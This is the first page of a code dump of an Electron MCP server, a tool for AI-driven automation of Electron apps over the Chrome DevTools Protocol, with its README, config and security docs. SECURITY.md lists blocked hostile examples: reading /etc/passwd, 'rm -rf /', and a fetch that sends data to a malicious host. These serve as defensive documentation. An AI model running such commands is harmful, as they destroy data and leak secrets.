This is page 1 of 2. Use http://codebase.md/halilural/electron-mcp-server?lines=false&page={x} to view the full context.
# Directory Structure
```
├── .env.example
├── .gitignore
├── .npmignore
├── .prettierignore
├── .prettierrc
├── assets
│ └── demo.mp4
├── eslint.config.ts
├── ISSUE_TEMPLATE.md
├── LICENSE
├── MCP_USAGE_GUIDE.md
├── mcp-config.json
├── package-lock.json
├── package.json
├── REACT_COMPATIBILITY_ISSUES.md
├── README.md
├── SECURITY_CONFIG.md
├── SECURITY.md
├── src
│ ├── handlers.ts
│ ├── index.ts
│ ├── schemas.ts
│ ├── screenshot.ts
│ ├── security
│ │ ├── audit.ts
│ │ ├── config.ts
│ │ ├── manager.ts
│ │ ├── sandbox.ts
│ │ └── validation.ts
│ ├── tools.ts
│ └── utils
│ ├── electron-commands.ts
│ ├── electron-connection.ts
│ ├── electron-discovery.ts
│ ├── electron-enhanced-commands.ts
│ ├── electron-input-commands.ts
│ ├── electron-logs.ts
│ ├── electron-process.ts
│ ├── logger.ts
│ ├── logs.ts
│ └── project.ts
├── tests
│ ├── conftest.ts
│ ├── integration
│ │ ├── electron-security-integration.test.ts
│ │ └── react-compatibility
│ │ ├── react-test-app.html
│ │ ├── README.md
│ │ └── test-react-electron.cjs
│ ├── support
│ │ ├── config.ts
│ │ ├── helpers.ts
│ │ └── setup.ts
│ └── unit
│ └── security-manager.test.ts
├── tsconfig.json
├── vitest.config.ts
└── webpack.config.ts
```
# Files
--------------------------------------------------------------------------------
/.prettierrc:
--------------------------------------------------------------------------------
```
{
"semi": true,
"singleQuote": true,
"printWidth": 100,
"tabWidth": 2,
"trailingComma": "all"
}
```
--------------------------------------------------------------------------------
/.prettierignore:
--------------------------------------------------------------------------------
```
# Dependencies
node_modules/
# Build outputs
dist/
build/
# Coverage reports
coverage/
# Logs
*.log
logs/
# OS files
.DS_Store
Thumbs.db
# IDE files
.vscode/
.idea/
# Package manager files
package-lock.json
yarn.lock
pnpm-lock.yaml
```
--------------------------------------------------------------------------------
/.npmignore:
--------------------------------------------------------------------------------
```
# Source files (only publish dist)
src/
tsconfig.json
vitest.config.ts
# Development files
.vscode/
test/
example-app
example-app-2
tools/
# Test and debug files
test-*.js
*-test.js
*-debug.js
# CI/CD
.github/
# IDE
.idea/
*.swp
*.swo
# OS
.DS_Store
Thumbs.db
# Logs
*.log
npm-debug.log*
# Dependencies
node_modules/
# Coverage
coverage/
```
--------------------------------------------------------------------------------
/.env.example:
--------------------------------------------------------------------------------
```
# Electron MCP Server Environment Configuration
# Copy this file to .env and configure the values for your environment
# =============================================================================
# LOGGING CONFIGURATION
# =============================================================================
# Set the log level for the MCP server (used in src/utils/logger.ts)
# Options: DEBUG, INFO, WARN, ERROR
# Default: INFO if not set
MCP_LOG_LEVEL=INFO
# =============================================================================
# SECURITY CONFIGURATION (REQUIRED)
# =============================================================================
# Security level for the MCP server (used in src/security/config.ts)
# Options: strict, balanced, permissive, development
# Default: balanced if not set
# - strict: Maximum security - blocks most function calls
# - balanced: Default - allows safe UI interactions
# - permissive: Minimal restrictions - allows more operations
# - development: Least restrictive - for development/testing only
SECURITY_LEVEL=balanced
# Encryption key for screenshot data (OPTIONAL - fallback available)
# If not set, a temporary key will be generated for each session
# For production use, set this to a secure 32-byte hex string
# Must be at least 32 characters long for security
# Generate a secure key with: openssl rand -hex 32
# WARNING: Without a persistent key, encrypted screenshots cannot be decrypted after restart
SCREENSHOT_ENCRYPTION_KEY=your-32-byte-hex-string-here
```
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
```
# Logs
logs
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*
lerna-debug.log*
.pnpm-debug.log*
# Diagnostic reports (https://nodejs.org/api/report.html)
report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
# Runtime data
pids
*.pid
*.seed
*.pid.lock
# Directory for instrumented libs generated by jscoverage/JSCover
lib-cov
# Coverage directory used by tools like istanbul
coverage
*.lcov
# nyc test coverage
.nyc_output
# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
.grunt
# Bower dependency directory (https://bower.io/)
bower_components
# node-waf configuration
.lock-wscript
# Compiled binary addons (https://nodejs.org/api/addons.html)
build/Release
# Dependency directories
node_modules/
jspm_packages/
# Snowpack dependency directory (https://snowpack.dev/)
web_modules/
# TypeScript cache
*.tsbuildinfo
# Optional npm cache directory
.npm
# Optional eslint cache
.eslintcache
# Optional stylelint cache
.stylelintcache
# Microbundle cache
.rpt2_cache/
.rts2_cache_cjs/
.rts2_cache_es/
.rts2_cache_umd/
# Optional REPL history
.node_repl_history
# Output of 'npm pack'
*.tgz
# Yarn Integrity file
.yarn-integrity
# dotenv environment variable files
.env
.env.development.local
.env.test.local
.env.production.local
.env.local
# parcel-bundler cache (https://parceljs.org/)
.cache
.parcel-cache
# Next.js build output
.next
out
# Nuxt.js build / generate output
.nuxt
dist
# Gatsby files
.cache/
# Comment in the public line in if your project uses Gatsby and not Next.js
# https://nextjs.org/blog/next-9-1#public-directory-support
# public
# vuepress build output
.vuepress/dist
# vuepress v2.x temp and cache directory
.temp
.cache
# Docusaurus cache and generated files
.docusaurus
# Serverless directories
.serverless/
# FuseBox cache
.fusebox/
# DynamoDB Local files
.dynamodb/
# TernJS port file
.tern-port
# Stores VSCode versions used for testing VSCode extensions
.vscode-test
# yarn v2
.yarn/cache
.yarn/unplugged
.yarn/build-state.yml
.yarn/install-state.gz
.pnp.*
# Build output
dist/
build/
lib/
# TypeScript output
*.d.ts
# Electron specific
out/
dist_electron/
# Testing
test-results/
coverage/
.nyc_output/
test-temp/
temp/
# Example App
example-app
example-app-2
# IDE
.vscode/
.idea/
*.swp
*.swo
# OS
.DS_Store
Thumbs.db
```
--------------------------------------------------------------------------------
/tests/integration/react-compatibility/README.md:
--------------------------------------------------------------------------------
```markdown
# React Compatibility Tests
This directory contains test files for validating React compatibility with the Electron MCP Server.
## Files
### `react-test-app.html`
A comprehensive React test application that demonstrates:
- Click command compatibility with `preventDefault()` behavior
- Form input detection and filling capabilities
- Various React event handling patterns
- Multiple input types (text, email, password, number, textarea)
### `test-react-electron.cjs`
Electron wrapper application that:
- Loads the React test app in an Electron window
- Enables remote debugging on port 9222 for MCP server connection
- Provides a controlled test environment
## Usage
### Running the Test App
```bash
# From the project root
cd tests/integration/react-compatibility
electron test-react-electron.cjs
```
### Testing with MCP Server
Once the Electron app is running, you can test MCP commands:
```bash
# Test click commands
echo '{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "React Button"}}}}' | node ../../../dist/index.js
# Test form input filling
echo '{"jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "username", "value": "testuser"}}}}' | node ../../../dist/index.js
# Get page structure
echo '{"jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "get_page_structure", "args": {}}}}' | node ../../../dist/index.js
```
## Test Scenarios
### Issue 1: Click Commands with preventDefault
- **React Button (preventDefault)**: Tests click commands on React components that call `e.preventDefault()`
- **Normal Button**: Tests click commands without preventDefault
- **Stop Propagation Button**: Tests click commands with `e.stopPropagation()`
### Issue 3: Form Input Detection
- **Username Field**: Text input with label and placeholder
- **Email Field**: Email input type validation
- **Password Field**: Password input type
- **Age Field**: Number input type
- **Comments Field**: Textarea element
All form inputs test the scoring algorithm in `electron-input-commands.ts` for React-rendered elements.
## Expected Results
✅ All click commands should work (preventDefault fix applied)
✅ All form inputs should be detected and fillable
✅ Page structure should show all React-rendered elements
✅ No "Click events were cancelled by the page" errors
✅ No "No suitable input found" errors
```
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
```markdown
# Electron MCP Server
[](https://github.com/halilural/electron-mcp-server/blob/master/LICENSE)
[](https://www.npmjs.com/package/electron-mcp-server)
[](https://modelcontextprotocol.io)
A powerful Model Context Protocol (MCP) server that provides comprehensive Electron application automation, debugging, and observability capabilities. Supercharge your Electron development workflow with AI-powered automation through Chrome DevTools Protocol integration.
## Demo
See the Electron MCP Server in action:
[](https://vimeo.com/1104937830)
**[🎬 Watch Full Demo on Vimeo](https://vimeo.com/1104937830)**
*Watch how easy it is to automate Electron applications with AI-powered MCP commands.*
## 🎯 What Makes This Special
Transform your Electron development experience with **AI-powered automation**:
- **🔄 Real-time UI Automation**: Click buttons, fill forms, and interact with any Electron app programmatically
- **📸 Visual Debugging**: Take screenshots and capture application state without interrupting development
- **🔍 Deep Inspection**: Extract DOM elements, application data, and performance metrics in real-time
- **⚡ DevTools Protocol Integration**: Universal compatibility with any Electron app - no modifications required
- **🚀 Development Observability**: Monitor logs, system info, and application behavior seamlessly
## 🔒 Security & Configuration
**Configurable security levels** to balance safety with functionality:
### Security Levels
- **🔒 STRICT**: Maximum security for production environments
- **⚖️ BALANCED**: Default security with safe UI interactions (recommended)
- **🔓 PERMISSIVE**: More functionality for trusted environments
- **🛠️ DEVELOPMENT**: Minimal restrictions for development/testing
### Environment Configuration
Configure the security level and other settings through your MCP client configuration:
**VS Code MCP Settings:**
```json
{
"mcp": {
"servers": {
"electron": {
"command": "npx",
"args": ["-y", "electron-mcp-server"],
"env": {
"SECURITY_LEVEL": "balanced",
"SCREENSHOT_ENCRYPTION_KEY":"your-32-byte-hex-string"
}
}
}
}
}
```
**Claude Desktop Configuration:**
```json
{
"mcpServers": {
"electron": {
"command": "npx",
"args": ["-y", "electron-mcp-server"],
"env": {
"SECURITY_LEVEL": "balanced",
"SCREENSHOT_ENCRYPTION_KEY":"your-32-byte-hex-string"
}
}
}
}
```
**Alternative: Local .env file (for development):**
```bash
# Create .env file in your project directory
SECURITY_LEVEL=balanced
SCREENSHOT_ENCRYPTION_KEY=your-32-byte-hex-string
```
**Security Level Behaviors:**
| Level | UI Interactions | DOM Queries | Property Access | Assignments | Function Calls | Risk Threshold |
|-------|-----------------|-------------|-----------------|-------------|----------------|----------------|
| `strict` | ❌ Blocked | ❌ Blocked | ✅ Allowed | ❌ Blocked | ❌ None allowed | Low |
| `balanced` | ✅ Allowed | ✅ Allowed | ✅ Allowed | ❌ Blocked | ✅ Safe UI functions | Medium |
| `permissive` | ✅ Allowed | ✅ Allowed | ✅ Allowed | ✅ Allowed | ✅ Extended UI functions | High |
| `development` | ✅ Allowed | ✅ Allowed | ✅ Allowed | ✅ Allowed | ✅ All functions | Critical |
**Environment Setup:**
1. Copy `.env.example` to `.env`
2. Set `SECURITY_LEVEL` to your desired level
3. Configure other security settings as needed
```bash
cp .env.example .env
# Edit .env and set SECURITY_LEVEL=balanced
```
### Secure UI Interaction Commands
Instead of raw JavaScript eval, use these secure commands:
```javascript
// ✅ Secure button clicking
{
"command": "click_by_text",
"args": { "text": "Create New Encyclopedia" }
}
// ✅ Secure element selection
{
"command": "click_by_selector",
"args": { "selector": "button[title='Create']" }
}
// ✅ Secure keyboard shortcuts
{
"command": "send_keyboard_shortcut",
"args": { "text": "Ctrl+N" }
}
// ✅ Secure navigation
{
"command": "navigate_to_hash",
"args": { "text": "create" }
}
```
See [SECURITY_CONFIG.md](./SECURITY_CONFIG.md) for detailed security documentation.
## 🎯 Proper MCP Usage Guide
### ⚠️ Critical: Argument Structure
**The most common mistake** when using this MCP server is incorrect argument structure for the `send_command_to_electron` tool.
#### ❌ Wrong (causes "selector is empty" errors):
```javascript
{
"command": "click_by_selector",
"args": "button.submit-btn" // ❌ Raw string - WRONG!
}
```
#### ✅ Correct:
```javascript
{
"command": "click_by_selector",
"args": {
"selector": "button.submit-btn" // ✅ Object with selector property
}
}
```
### 📋 Command Argument Reference
| Command | Required Args | Example |
| --------------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------ |
| `click_by_selector` | `{"selector": "css-selector"}` | `{"selector": "button.primary"}` |
| `click_by_text` | `{"text": "button text"}` | `{"text": "Submit"}` |
| `fill_input` | `{"value": "text", "selector": "..."}` or `{"value": "text", "placeholder": "..."}` | `{"placeholder": "Enter name", "value": "John"}` |
| `send_keyboard_shortcut` | `{"text": "key combination"}` | `{"text": "Ctrl+N"}` |
| `eval` | `{"code": "javascript"}` | `{"code": "document.title"}` |
| `get_title`, `get_url`, `get_body_text` | No args needed | `{}` or omit args |
### 🔄 Recommended Workflow
1. **Inspect**: Start with `get_page_structure` or `debug_elements`
2. **Target**: Use specific selectors or text-based targeting
3. **Interact**: Use the appropriate command with correct argument structure
4. **Verify**: Take screenshots or check page state
```javascript
// Step 1: Understand the page
{
"command": "get_page_structure"
}
// Step 2: Click button using text (most reliable)
{
"command": "click_by_text",
"args": {
"text": "Create New Encyclopedia"
}
}
// Step 3: Fill form field
{
"command": "fill_input",
"args": {
"placeholder": "Enter encyclopedia name",
"value": "AI and Machine Learning"
}
}
// Step 4: Submit with selector
{
"command": "click_by_selector",
"args": {
"selector": "button[type='submit']"
}
}
```
### 🐛 Troubleshooting Common Issues
| Error | Cause | Solution |
| -------------------------------- | -------------------------------- | ------------------------------ |
| "The provided selector is empty" | Passing string instead of object | Use `{"selector": "..."}` |
| "Element not found" | Wrong selector | Use `get_page_structure` first |
| "Command blocked" | Security restriction | Check security level settings |
| "Click prevented - too soon" | Rapid consecutive clicks | Wait before retrying |
## 🛠️ Security Features
**Enterprise-grade security** built for safe AI-powered automation:
- **🔒 Sandboxed Execution**: All code runs in isolated environments with strict resource limits
- **🔍 Input Validation**: Advanced static analysis detects and blocks dangerous code patterns
- **📝 Comprehensive Auditing**: Encrypted logs track all operations with full traceability
- **🖼️ Secure Screenshots**: Encrypted screenshot data with clear user notifications
- **⚠️ Risk Assessment**: Automatic threat detection with configurable security thresholds
- **🚫 Zero Trust**: Dangerous functions like `eval`, file system access, and network requests are blocked by default
> **Safety First**: Every command is analyzed, validated, and executed in a secure sandbox before reaching your application.
## �🚀 Key Features
### 🎮 Application Control & Automation
- **Launch & Manage**: Start, stop, and monitor Electron applications with full lifecycle control
- **Interactive Automation**: Execute JavaScript code directly in running applications via WebSocket
- **UI Testing**: Automate button clicks, form interactions, and user workflows
- **Process Management**: Track PIDs, monitor resource usage, and handle graceful shutdowns
### 📊 Advanced Observability
- **Screenshot Capture**: Non-intrusive visual snapshots using Playwright and Chrome DevTools Protocol
- **Real-time Logs**: Stream application logs (main process, renderer, console) with filtering
- **Window Information**: Get detailed window metadata, titles, URLs, and target information
- **System Monitoring**: Track memory usage, uptime, and performance metrics
### 🛠️ Development Productivity
- **Universal Compatibility**: Works with any Electron app without requiring code modifications
- **DevTools Integration**: Leverage Chrome DevTools Protocol for powerful debugging capabilities
- **Build Automation**: Cross-platform building for Windows, macOS, and Linux
- **Environment Management**: Clean environment handling and debugging port configuration
## 📦 Installation
### VS Code Integration (Recommended)
[](https://insiders.vscode.dev/redirect/mcp/install?name=electron&config=%7B%22command%22%3A%22npx%22%2C%22args%22%3A%5B%22-y%22%2C%22electron-mcp-server%22%5D%7D)
Add to your VS Code MCP settings:
```json
{
"mcp": {
"servers": {
"electron": {
"command": "npx",
"args": ["-y", "electron-mcp-server"],
"env": {
"SECURITY_LEVEL": "balanced",
"SCREENSHOT_ENCRYPTION_KEY": "your-32-byte-hex-string-here"
}
}
}
}
}
```
### Claude Desktop Integration
Add to `~/Library/Application Support/Claude/claude_desktop_config.json`:
```json
{
"mcpServers": {
"electron": {
"command": "npx",
"args": ["-y", "electron-mcp-server"],
"env": {
"SECURITY_LEVEL": "balanced",
"SCREENSHOT_ENCRYPTION_KEY": "your-32-byte-hex-string-here"
}
}
}
}
```
### Global Installation
```bash
npm install -g electron-mcp-server
```
## 🔧 Available Tools
### `launch_electron_app`
Launch an Electron application with debugging capabilities.
```javascript
{
"appPath": "/path/to/electron-app",
"devMode": true, // Enables Chrome DevTools Protocol on port 9222
"args": ["--enable-logging", "--dev"]
}
```
**Returns**: Process ID and launch confirmation
### `get_electron_window_info`
Get comprehensive window and target information via Chrome DevTools Protocol.
```javascript
{
"includeChildren": true // Include child windows and DevTools instances
}
```
**Returns**:
- Window IDs, titles, URLs, and types
- DevTools Protocol target information
- Platform details and process information
### `take_screenshot`
Capture high-quality screenshots using Playwright and Chrome DevTools Protocol.
```javascript
{
"outputPath": "/path/to/screenshot.png", // Optional: defaults to temp directory
"windowTitle": "My App" // Optional: target specific window
}
```
**Features**:
- Non-intrusive capture (doesn't bring window to front)
- Works with any Electron app
- Fallback to platform-specific tools if needed
### `send_command_to_electron`
Execute JavaScript commands in the running Electron application via WebSocket.
```javascript
{
"command": "eval", // Built-in commands: eval, get_title, get_url, click_button, console_log
"args": {
"code": "document.querySelector('button').click(); 'Button clicked!'"
}
}
```
**Enhanced UI Interaction Commands**:
- `find_elements`: Analyze all interactive UI elements with their properties and positions
- `click_by_text`: Click elements by their visible text, aria-label, or title (more reliable than selectors)
- `fill_input`: Fill input fields by selector, placeholder text, or associated label text
- `select_option`: Select dropdown options by value or visible text
- `get_page_structure`: Get organized overview of all page elements (buttons, inputs, selects, links)
- `get_title`: Get document title
- `get_url`: Get current URL
- `get_body_text`: Extract visible text content
- `click_button`: Click buttons by CSS selector (basic method)
- `console_log`: Send console messages
- `eval`: Execute custom JavaScript code
**Recommended workflow**: Use `get_page_structure` first to understand available elements, then use specific interaction commands like `click_by_text` or `fill_input`.
### `read_electron_logs`
Stream application logs from main process, renderer, and console.
```javascript
{
"logType": "all", // Options: "all", "main", "renderer", "console"
"lines": 50, // Number of recent lines
"follow": false // Stream live logs
}
```
### `close_electron_app`
Gracefully close the Electron application.
```javascript
{
"force": false // Force kill if unresponsive
}
```
### `build_electron_app`
Build Electron applications for distribution.
```javascript
{
"projectPath": "/path/to/project",
"platform": "darwin", // win32, darwin, linux
"arch": "x64", // x64, arm64, ia32
"debug": false
}
```
## 💡 Usage Examples
### Smart UI Interaction Workflow
```javascript
// 1. First, understand the page structure
await send_command_to_electron({
command: 'get_page_structure',
});
// 2. Click a button by its text (much more reliable than selectors)
await send_command_to_electron({
command: 'click_by_text',
args: {
text: 'Login', // Finds buttons containing "Login" in text, aria-label, or title
},
});
// 3. Fill inputs by their label or placeholder text
await send_command_to_electron({
command: 'fill_input',
args: {
text: 'username', // Finds input with label "Username" or placeholder "Enter username"
value: '[email protected]',
},
});
await send_command_to_electron({
command: 'fill_input',
args: {
text: 'password',
value: 'secretpassword',
},
});
// 4. Select dropdown options by visible text
await send_command_to_electron({
command: 'select_option',
args: {
text: 'country', // Finds select with label containing "country"
value: 'United States', // Selects option with this text
},
});
// 5. Take a screenshot to verify the result
await take_screenshot();
```
### Advanced Element Detection
```javascript
// Find all interactive elements with detailed information
await send_command_to_electron({
command: 'find_elements',
});
// This returns detailed info about every clickable element and input:
// {
// "type": "clickable",
// "text": "Submit Form",
// "id": "submit-btn",
// "className": "btn btn-primary",
// "ariaLabel": "Submit the registration form",
// "position": { "x": 100, "y": 200, "width": 120, "height": 40 },
// "visible": true
// }
```
### Automated UI Testing
```javascript
// Launch app in development mode
await launch_electron_app({
appPath: '/path/to/app',
devMode: true,
});
// Take a screenshot
await take_screenshot();
// Click a button programmatically
await send_command_to_electron({
command: 'eval',
args: {
code: "document.querySelector('#submit-btn').click()",
},
});
// Verify the result
await send_command_to_electron({
command: 'get_title',
});
```
### Development Debugging
```javascript
// Get window information
const windowInfo = await get_electron_window_info();
// Extract application data
await send_command_to_electron({
command: 'eval',
args: {
code: 'JSON.stringify(window.appState, null, 2)',
},
});
// Monitor logs
await read_electron_logs({
logType: 'all',
lines: 100,
});
```
### Performance Monitoring
```javascript
// Get system information
await send_command_to_electron({
command: 'eval',
args: {
code: '({memory: performance.memory, timing: performance.timing})',
},
});
// Take periodic screenshots for visual regression testing
await take_screenshot({
outputPath: '/tests/screenshots/current.png',
});
```
## 🏗️ Architecture
### Chrome DevTools Protocol Integration
- **Universal Compatibility**: Works with any Electron app that has remote debugging enabled
- **Real-time Communication**: WebSocket-based command execution with the renderer process
- **No App Modifications**: Zero changes required to target applications
### Process Management
- **Clean Environment**: Handles `ELECTRON_RUN_AS_NODE` and other environment variables
- **Resource Tracking**: Monitors PIDs, memory usage, and application lifecycle
- **Graceful Shutdown**: Proper cleanup and process termination
### Cross-Platform Support
- **macOS**: Uses Playwright CDP with screencapture fallback
- **Windows**: PowerShell-based window detection and capture
- **Linux**: X11 window management (planned)
## 🧪 Development
### Prerequisites
- Node.js 18+
- TypeScript 4.5+
- **Electron** - Required for running and testing Electron applications
```bash
# Install Electron globally (recommended)
npm install -g electron
# Or install locally in your project
npm install electron --save-dev
```
### Target Application Setup
For the MCP server to work with your Electron application, you need to enable remote debugging. Add this code to your Electron app's main process:
```javascript
const { app } = require('electron');
const isDev = process.env.NODE_ENV === 'development' || process.argv.includes('--dev');
// Enable remote debugging in development mode
if (isDev) {
app.commandLine.appendSwitch('remote-debugging-port', '9222');
}
```
**Alternative approaches:**
```bash
# Launch your app with debugging enabled
electron . --remote-debugging-port=9222
# Or via npm script
npm run dev -- --remote-debugging-port=9222
```
**Note:** The MCP server automatically scans ports 9222-9225 to detect running Electron applications with remote debugging enabled.
### Setup
```bash
git clone https://github.com/halilural/electron-mcp-server.git
cd electron-mcp-server
npm install
npm run build
# Run tests
npm test
# Development mode with auto-rebuild
npm run dev
```
### Testing
The project includes comprehensive test files for React compatibility:
```bash
# Run React compatibility tests
cd tests/integration/react-compatibility
electron test-react-electron.js
```
See [`tests/integration/react-compatibility/README.md`](tests/integration/react-compatibility/README.md) for detailed testing instructions and scenarios.
### React Compatibility
This MCP server has been thoroughly tested with React applications and handles common React patterns correctly:
- **✅ React Event Handling**: Properly handles `preventDefault()` in click handlers
- **✅ Form Input Detection**: Advanced scoring algorithm works with React-rendered inputs
- **✅ Component Interaction**: Compatible with React components, hooks, and state management
### Project Structure
```
src/
├── handlers.ts # MCP tool handlers
├── index.ts # Server entry point
├── tools.ts # Tool definitions
├── screenshot.ts # Screenshot functionality
├── utils/
│ ├── process.ts # Process management & DevTools Protocol
│ ├── logs.ts # Log management
│ └── project.ts # Project scaffolding
└── schemas/ # JSON schemas for validation
```
## 🔐 Security & Best Practices
- **Sandboxed Execution**: All JavaScript execution is contained within the target Electron app
- **Path Validation**: Only operates on explicitly provided application paths
- **Process Isolation**: Each launched app runs in its own process space
- **No Persistent Access**: No permanent modifications to target applications
## 🤝 Contributing
We welcome contributions! Please see our [Contributing Guide](CONTRIBUTING.md) for details.
**Before reporting issues**: Please use the standardized [`ISSUE_TEMPLATE.md`](ISSUE_TEMPLATE.md) for proper bug reporting format. For React compatibility problems or similar technical issues, also review [`REACT_COMPATIBILITY_ISSUES.md`](REACT_COMPATIBILITY_ISSUES.md) for detailed debugging examples, including proper command examples, error outputs, and reproduction steps.
1. Fork the repository
2. Create a feature branch (`git checkout -b feature/awesome-feature`)
3. Commit your changes (`git commit -m 'Add awesome feature'`)
4. Push to the branch (`git push origin feature/awesome-feature`)
5. Open a Pull Request
## 📄 License
MIT License - see [LICENSE](LICENSE) file for details.
## ☕ Support
If this project helped you, consider buying me a coffee! ☕
[](https://ko-fi.com/halilural)
Your support helps me maintain and improve this project. Thank you! 🙏
## 🙏 Acknowledgments
- **[Model Context Protocol](https://modelcontextprotocol.io)** - Standardized AI-application interface
- **[Chrome DevTools Protocol](https://chromedevtools.github.io/devtools-protocol/)** - Universal debugging interface
- **[Playwright](https://playwright.dev)** - Reliable browser automation
- **[Electron](https://electronjs.org)** - Cross-platform desktop applications
## 🔗 Links
- **[GitHub Repository](https://github.com/halilural/electron-mcp-server)**
- **[NPM Package](https://www.npmjs.com/package/electron-mcp-server)**
- **[Model Context Protocol](https://modelcontextprotocol.io)**
- **[Chrome DevTools Protocol Docs](https://chromedevtools.github.io/devtools-protocol/)**
- **[Issue Template](./ISSUE_TEMPLATE.md)** - Standardized bug reporting format
- **[React Compatibility Issues Documentation](./REACT_COMPATIBILITY_ISSUES.md)** - Technical debugging guide for React applications
---
**Ready to supercharge your Electron development with AI-powered automation?** Install the MCP server and start building smarter workflows today! 🚀
```
--------------------------------------------------------------------------------
/SECURITY.md:
--------------------------------------------------------------------------------
```markdown
# Security Implementation
This document describes the security measures implemented in the Electron MCP Server to ensure safe execution of AI-generated commands.
## 🛡️ Security Features
### 1. Code Execution Isolation
- **Sandboxed Environment**: All JavaScript code execution is isolated using a secure Node.js subprocess
- **Resource Limits**:
- Maximum execution time: 5 seconds
- Memory limit: 50MB
- No filesystem access unless explicitly needed
- No network access by default
- **Global Restriction**: Dangerous globals like `process`, `require`, `fs` are disabled in the sandbox
### 2. Input Validation & Sanitization
- **Static Analysis**: Commands are analyzed for dangerous patterns before execution
- **Blacklisted Functions**: Blocks dangerous functions like `eval`, `Function`, `require`, etc.
- **Pattern Detection**: Detects potential XSS, injection, and obfuscation attempts
- **Risk Assessment**: All commands are assigned a risk level (low/medium/high/critical)
- **Command Sanitization**: Dangerous content is escaped or removed
### 3. Comprehensive Audit Logging
- **Encrypted Logs**: All execution attempts are logged with encrypted sensitive data
- **Metadata Tracking**: Logs include timestamps, risk levels, execution times, and outcomes
- **Security Events**: Failed attempts and blocked commands are specially flagged
- **Performance Metrics**: Track execution patterns for anomaly detection
### 4. Secure Screenshot Handling
- **Encryption**: Screenshot data is encrypted before storage
- **User Notification**: Clear logging when screenshots are taken
- **Data Minimization**: Screenshots are only stored temporarily
- **Secure Transmission**: Base64 data is transmitted over secure channels
## 🚨 Blocked Operations
The following operations are automatically blocked for security:
### Critical Risk Operations
- Direct `eval()` or `Function()` calls
- File system access (`fs`, `readFile`, `writeFile`)
- Process control (`spawn`, `exec`, `kill`)
- Network requests in user code
- Module loading (`require`, `import`)
- Global object manipulation
### High Risk Patterns
- Excessive string concatenation (potential obfuscation)
- Encoded content (`\\x`, `\\u` sequences)
- Script injection patterns
- Cross-site scripting attempts
## ⚙️ Configuration
Security settings can be configured via environment variables:
```bash
# Encryption
SCREENSHOT_ENCRYPTION_KEY=your-secret-key-here
```
## 📊 Security Metrics
The system tracks various security metrics:
- **Total Requests**: Number of commands processed
- **Blocked Requests**: Commands blocked due to security concerns
- **Risk Distribution**: Breakdown by risk levels
- **Average Execution Time**: Performance monitoring
- **Error Rate**: Failed execution percentage
## 🔍 Example Security Validations
### ✅ Safe Commands
```javascript
// UI interactions
document.querySelector('#button').click()
// Data extraction
document.getElementById('title').innerText
// Simple DOM manipulation
element.style.display = 'none'
```
### ❌ Blocked Commands
```javascript
// File system access
require('fs').readFileSync('/etc/passwd')
// Code execution
eval('malicious code')
// Process control
require('child_process').exec('rm -rf /')
// Network access
fetch('http://malicious-site.com/steal-data')
```
## 🛠️ Development Guidelines
When extending the MCP server:
1. **Always validate input** before processing
2. **Log security events** for audit trails
3. **Test with malicious inputs** to verify security
4. **Follow principle of least privilege**
5. **Keep security dependencies updated**
## 📝 Security Audit Trail
All security events are logged to `logs/security/` with the following information:
- Timestamp and session ID
- Command content (encrypted if sensitive)
- Risk assessment results
- Execution outcome
- User context (if available)
- Performance metrics
**Note**: This security implementation provides strong protection against common threats, but security is an ongoing process. Regular security audits and updates are recommended.
```
--------------------------------------------------------------------------------
/src/utils/logs.ts:
--------------------------------------------------------------------------------
```typescript
import { getElectronLogs } from './electron-process';
// Helper function to read Electron logs
export async function readElectronLogs(
logType: string = 'all',
lines: number = 100,
): Promise<string[]> {
const allLogs = getElectronLogs();
const relevantLogs = allLogs
.filter((log) => {
if (logType === 'all') return true;
if (logType === 'console') return log.includes('[Console]');
if (logType === 'main') return log.includes('[Main]');
if (logType === 'renderer') return log.includes('[Renderer]');
return true;
})
.slice(-lines);
return relevantLogs;
}
```
--------------------------------------------------------------------------------
/tsconfig.json:
--------------------------------------------------------------------------------
```json
{
"compilerOptions": {
"target": "ES2022",
"module": "ESNext",
"moduleResolution": "Node",
"esModuleInterop": true,
"allowSyntheticDefaultImports": true,
"strict": true,
"skipLibCheck": true,
"forceConsistentCasingInFileNames": true,
"declaration": true,
"outDir": "./dist",
"rootDir": "./src",
"resolveJsonModule": true,
"allowImportingTsExtensions": false,
"noEmit": false,
"moduleDetection": "force",
"baseUrl": "./src",
"paths": {
"*": ["*"]
}
},
"include": ["src/**/*"],
"exclude": ["node_modules", "dist", "**/*.test.ts"]
}
```
--------------------------------------------------------------------------------
/tests/conftest.ts:
--------------------------------------------------------------------------------
```typescript
/**
* Global test configuration - similar to Python's conftest.py
* This file contains global test setup, fixtures, and configuration
* that applies to all test files in the project.
*/
import { beforeAll, afterAll } from 'vitest';
import { GlobalTestSetup } from './support/setup';
// Global test setup that runs once before all tests
beforeAll(async () => {
await GlobalTestSetup.initialize();
});
// Global test cleanup that runs once after all tests
afterAll(async () => {
await GlobalTestSetup.cleanup();
});
// Export commonly used test utilities for easy importing
export { TestHelpers } from './support/helpers';
export { TEST_CONFIG } from './support/config';
export type { TestElectronApp } from './support/helpers';
```
--------------------------------------------------------------------------------
/webpack.config.ts:
--------------------------------------------------------------------------------
```typescript
import path from 'path';
import { Configuration } from 'webpack';
import nodeExternals from 'webpack-node-externals';
const config: Configuration = {
target: 'node',
mode: 'production',
entry: './src/index.ts',
output: {
path: path.resolve(process.cwd(), 'dist'),
filename: 'index.js',
clean: true,
},
resolve: {
extensions: ['.ts', '.js'],
modules: ['node_modules', 'src'],
},
externals: [nodeExternals({
allowlist: [/@modelcontextprotocol\/.*/]
})],
module: {
rules: [
{
test: /\.ts$/,
use: 'ts-loader',
exclude: /node_modules/,
},
],
},
optimization: {
minimize: false, // Keep readable for debugging
},
devtool: 'source-map',
};
export default config;
```
--------------------------------------------------------------------------------
/src/utils/project.ts:
--------------------------------------------------------------------------------
```typescript
import { exec } from 'child_process';
import { promisify } from 'util';
import { logger } from './logger';
